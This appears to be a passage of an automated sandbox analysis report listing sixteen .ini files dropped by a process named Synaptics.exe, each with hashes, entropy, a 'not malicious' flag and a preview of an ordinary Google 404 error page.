Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Y_T6nG8fJsFkayKYXS_rww">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\D9OPIpa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259185935641383
Encrypted:	false
SSDEEP:	24:GgsF+0OiSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+pi+pAZewRDK4mW
MD5:	AC0F0C4B90F3D4832F80715F2C0A55A8
SHA1:	D8E0B6AE39D625D5E6B41F946DF711CAEC69262B
SHA-256:	ADA932973CF0836343549106150D147381C27D3BEDCAF42F616A94607FD20694
SHA-512:	C443BA3151E4DC6EADE39AFE26A26950E9257340CAC4055E3B31AE66C8D682097348CC51E3F7247EC2055077493A82F5B9C6AE0E287D5DC041B9592E083DC9F1
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FXFtdiqrDPvEFrDuyTRgKg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\EgvxlvP.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265744981577954
Encrypted:	false
SSDEEP:	24:GgsF+00zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+z+pAZewRDK4mW
MD5:	C11F4B349B713CF1CC461EAAA4DE211A
SHA1:	BBC20CD3E94B38EB5F97AA0F043566CC2C5A30D8
SHA-256:	04EA079AD881ADEB3744F7BE41BD3FB25D69F3F0BE18C1A9560628EED3550278
SHA-512:	C589569E2D801C9CAD52D43E1665507EDDC0F803EE0D41080F621A523ED911F8D0675D9D2390E761E36C45F0BFE71E09E2BCB204689E46F1C7C8E99B3EB2FEA3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wRk2fLAHWcOkhWA1nTAJkA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\J8DyXur.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253172840945959
Encrypted:	false
SSDEEP:	24:GgsF+0cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+b+pAZewRDK4mW
MD5:	4E6658ABCEE08A36C815E9D6CCAEA459
SHA1:	5802D9B9E2C681B084272B0DEB3CE580CF6BE5D5
SHA-256:	D07918566D438CCA55D3C239CD0F19847A34F7A58698839BB02DA0B52495F9EE
SHA-512:	50A191E0C73F39CD711C14E43722A90584B89B60D93817C86B9D67FC40752AA04B4D1A9C697253336D417E053069115A0CBE35F65EC0C2D16799AFDD94DFA220
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Lvtucuh7O1DvVU0O10a1Ew">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JL3ZChJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255239476226992
Encrypted:	false
SSDEEP:	24:GgsF+0zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+o+pAZewRDK4mW
MD5:	ED241CF1EF39379137A29E24CF57E0DB
SHA1:	D35B74E4EDB6F4BFE24CCC272501593B073637E2
SHA-256:	5ABF22A51BCA46B1FB85CC693B6D87AFEC57335E4C07DFF4140ECCB6D545477B
SHA-512:	0E16416FC2661F17AF3E85DAC7040E3C2A411F8FE6AD0803AC54AC42C3547280B9F07C5BCA3233784F3026FDEC754BBA86B376F1A40CD2F2DC431D13248F848C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="aGsf3VRk3Q5VtOn5TL4r-w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\JOwj3Yt.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262779068036897
Encrypted:	false
SSDEEP:	24:GgsF+0vUSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	237CF235B375CB15A9FC4B63B077E5EA
SHA1:	DC1E3E7A3DE818022EBF5D8CAFA0159884089740
SHA-256:	35BBA3C55D0FA3DB307C58A239E6095DC0A09AB2105D2F837D8965FDE1FB98B7
SHA-512:	3B3A15F2542707675B744352299E80B01B485092E18CD4E22390F2B3A0933453ADC5295C998D6C8D1A071058978347116C00A2ADC91523750EF2E5AC2D23A548
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bnjEfoWULDAsy937TlxlHA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\KahnMSV.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267318040875926
Encrypted:	false
SSDEEP:	24:GgsF+0EtSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+L+pAZewRDK4mW
MD5:	C8502025DFFA0A859844C01C3C42C8C0
SHA1:	7F0E16552CDCABB1010F3C983B26075432489A3B
SHA-256:	FA0A8677A6BB9A29F1253730C90A6436018C1F69E242D04E61E4D0B9AB922D62
SHA-512:	27036B703CC719A009C002552D83DC81498E69307BEAE6D42E6352E1298B576B75BFBFE2F86DEA43A08816222A009CC1A561CFD939DB246460CDD66FA0A00509
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xUrZmDoKA68DaaH3PgHyHA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\McENdRx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2762705749185645
Encrypted:	false
SSDEEP:	24:GgsF+04SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	7EB0B345BA4EA2D25234A27CA21306E8
SHA1:	E9DE9079FE945A12F6F4910E029816AAD8113B7D
SHA-256:	AE92369517941CBA3DAA1DE5ADC751233295B640390AF803852B5D2F3AD00C51
SHA-512:	D02DC15B23964D12556F1BC0D77320013856E5B199DC2D98B1D7A88C3DDFAC51E19564D8A9B01E6C93BD17AEBA904B51B05E36726553455884D794F0AB996159
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QxlqgSREXOYyVQAeCHf8Lw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\OIzg75k.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257107513548914
Encrypted:	false
SSDEEP:	24:GgsF+0/SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	B30B38FFB5FE718AADD8E226A4F441BE
SHA1:	091B9D5F20159FA74056F767DD84A2D4B281B162
SHA-256:	721C49C6121429CD78BF109DF983A9EFFA6C6C4CC5EA018CCD7E167912158C4C
SHA-512:	A8CDF71E583CCB684EB0FB590766D76F1A5205756E33272A875C0D7915B50B04B61CF21D02586AE28CEAFBF1474D8E5DD752A53BFFBFB6D4E3F9AB67DF797DD4
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lnwaObGV3lNQ25V-Oh1_6Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Ocg1ekx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255358929657784
Encrypted:	false
SSDEEP:	24:GgsF+0cYmSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+FYm+pAZewRDK4mW
MD5:	496B1C716B37BB86C839656BDA423263
SHA1:	B712BCD8581932272E66A26F1B67C785049F44D3
SHA-256:	19CF234BA3FD32F2034497FE43D27D55D1D02FDFF38DAF1031F036C1823E9DF9
SHA-512:	04184AE5BDB63DCDCEB4CB60E112287731D55CBAA1F0FBD3323B052A0C9030BA3F14635D6F8FDF760D0CF897C01F964E8CC5545A170D9E7E62D7B44A805DBB3B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fU85GnDytdkuwSgK6AloBg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Oi2NUK9.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263120051767119
Encrypted:	false
SSDEEP:	24:GgsF+00RDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7+pAZewRDK4mW
MD5:	FBDC13179D33FF603965DB877DF83600
SHA1:	13FAD25FD7D64CAA5D319079564D464640DB877C
SHA-256:	3D398363465254F47AB992D34D7FBB84FFA6D584ACF4BE2A7DDBAC5FC33D6A72
SHA-512:	C9AB6DF7A799099EE554DE618BB74F08E2A85ED43B0A757CA64D999D1FC0616A2F58802D2BC55FAED51680DCBE1CC5FADB13E36CC1B6867AF5B7C764A04213CB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZcyTF0_WK0bUIdlJRMtpdA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\P5bGwJk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258606272396324
Encrypted:	false
SSDEEP:	24:GgsF+07SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+M+pAZewRDK4mW
MD5:	40138A81545B091CC78E68CF9E5DBF1E
SHA1:	D240A8348ABB85FF171CBAE3E72FCD273CBA1F23
SHA-256:	2E7477000D9AE6A8468DEA02A2FB2FE37959C14BB5138C5C44E330720D596343
SHA-512:	56F04FDE46FEE120107BD74A095395D2B4344076A57C43B1ABE06529FA4EB409BA62C0079DB46C44D30A132357BDED48FB55753167C7148D9F9876ADBCEEE945
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Oce4zXSvvUqOm04w4koNjw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\PDPmReU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257729092201631
Encrypted:	false
SSDEEP:	24:GgsF+0ETSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+b+pAZewRDK4mW
MD5:	59E159D1103498143117167F7F0AA657
SHA1:	11D943F5925F195610720BD97015563EC6BF68E3
SHA-256:	0823D4F4E2141B1566D6367B2624C60E382A294642859ABFEAE6AD6717B54BD4
SHA-512:	4C4AA98D96BCFAE6CDF36853ECF58C36B43BD8547DF20A675182FE4C93F4EC6FAF8044E9DC98FD8823DF15210DB726AC1CA5A835877284A4434A71672A0FA6C8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="YNzdrV3ftlCJCCkTlYClpw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\S6NqBYl.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260327830744284
Encrypted:	false
SSDEEP:	24:GgsF+0q13SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+r13+pAZewRDK4mW
MD5:	D0A5C66152496E7610BC24906C6B08F2
SHA1:	6A0D4E2123B7A6C28EE82BFA93B899FC5B4464D5
SHA-256:	0AB43665BB860FB3A8F5BEB0D87E72B079A924FF110B7A2EA2B21C9069DFCDD1
SHA-512:	70C1418374B7DFF696FC2583ADE54E0B0FB18B8C7A2EE152BE2FE6984792644C003B6C6B46D17CF973B77E972E330685BD920CE0D78E57223AECCFA9131B9EC6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iscrlScCZFbn61CZiEMyNQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\TmQtxuH.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256124155645092
Encrypted:	false
SSDEEP:	24:GgsF+03rDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w+pAZewRDK4mW
MD5:	820790914BC189904114CB97B16E73AA
SHA1:	D2B4A8DF965862DDD350DC52BA85E7393D85563C
SHA-256:	B03A155ADAEB9B8B899591F101A002263317E6317B61D20940F25AC2BC162B54
SHA-512:	2F04B03BEE5E3D8B9746D97F001EEC8567CA4A59322056E632F0C62C8552F03DA384D907349B516E41932EB53CF2853D0B1FD0E9ABB0839B09CCBF9118746969
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1m5bmjW2LUOKaCgNjlnaCw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\UTRM4kG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259140011167074
Encrypted:	false
SSDEEP:	24:GgsF+0GipbeSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+ai+pAZewRDK4mW
MD5:	D63980C7E3A5D6EEE7A8860FC6188FCD
SHA1:	5F65D3AA7FDED1B85342D372A7A37D00981C4AD3
SHA-256:	437CAECC47C5883C1DBCC7BD68C66CF46BB286F26C5C53DE5565DD37C0276584
SHA-512:	D5F876D2E68E33F81DF5B1F107F0902E3CB260B0A8DD4B52BBF435D546236E28F08CF121AE9EBA040EDED363AB920CB189C6E98A6C73A1037CA44DF0A4F385F7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="agxgS7eQ9vo1nJjMESY7iA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\VoAOEOF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261015868887575
Encrypted:	false
SSDEEP:	24:GgsF+0xy3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	C06974608E99C026658CF2AE3181E74E
SHA1:	BB87E07438B44DD0E09A3F9BA8D69C85BF186737
SHA-256:	EFF48696A03C38F931C3FB03FD3814AFD134D954E83B454D739DAF709AF80711
SHA-512:	946B37427172138BE7859C8945DE26D8C3AA19FA93475D0214D86ACCF901517D89CAD1A8D494250E4B610710E517A9DCED507B47E3A7AE24A7FE51C97D45B8B3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1eCtbcTGKKTE9azc9RGtAA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and 